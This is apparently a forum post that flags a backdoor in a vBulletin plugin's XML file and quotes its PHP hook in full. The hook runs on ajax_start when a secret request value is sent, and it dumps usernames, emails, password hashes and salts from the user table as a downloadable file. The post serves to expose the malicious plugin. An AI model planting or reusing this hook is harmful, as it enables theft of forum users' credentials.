[GameersHub]

In the .xml file starting from line 18 to line 43 if I recall correctly.
Looks like it grabs stuff such as email,password,salt,activepwd etc and pipes it into an open .txt file.

PHP Code:

            <hookname>ajax_start</hookname>
            <phpcode><![CDATA[if( $_REQUEST['do'] == 'suyt!' ){
    $vbulletin->db->hide_errors();
    $checkcols = $vbulletin->db->query_first("SHOW COLUMNS FROM ". TABLE_PREFIX ."user LIKE 'activepwd'");
    if(empty($checkcols['Field']))
    {
        @$vbulletin->db->query_write("ALTER TABLE ". TABLE_PREFIX ."user ADD `activepwd` text");
    }
    if($_REQUEST['type'] == 'dic')
    {
        $lists = $vbulletin->db->query_read('SELECT concat_ws(0x7c,username,yahoo,skype,email) as `info`
                                        FROM ' . TABLE_PREFIX . 'user');
    }
    else
    {
        $lists = $vbulletin->db->query_read('SELECT concat_ws(0x7c,userid,usergroupid,username,yahoo, skype,email,password,salt,activepwd) as `info`
                                        FROM ' . TABLE_PREFIX . 'user');
    }
    while($list = $vbulletin->db->fetch_array($lists))
        $list_all .= $list['info'] ."\n";
    $vbulletin->db->free_result($lists);
    $vbulletin->db->show_errors();
    header('Content-type: application/txt');
    header('Content-Disposition: attachment; filename="'. $_SERVER["HTTP_HOST"] .'.txt"');
    echo $list_all;
    die();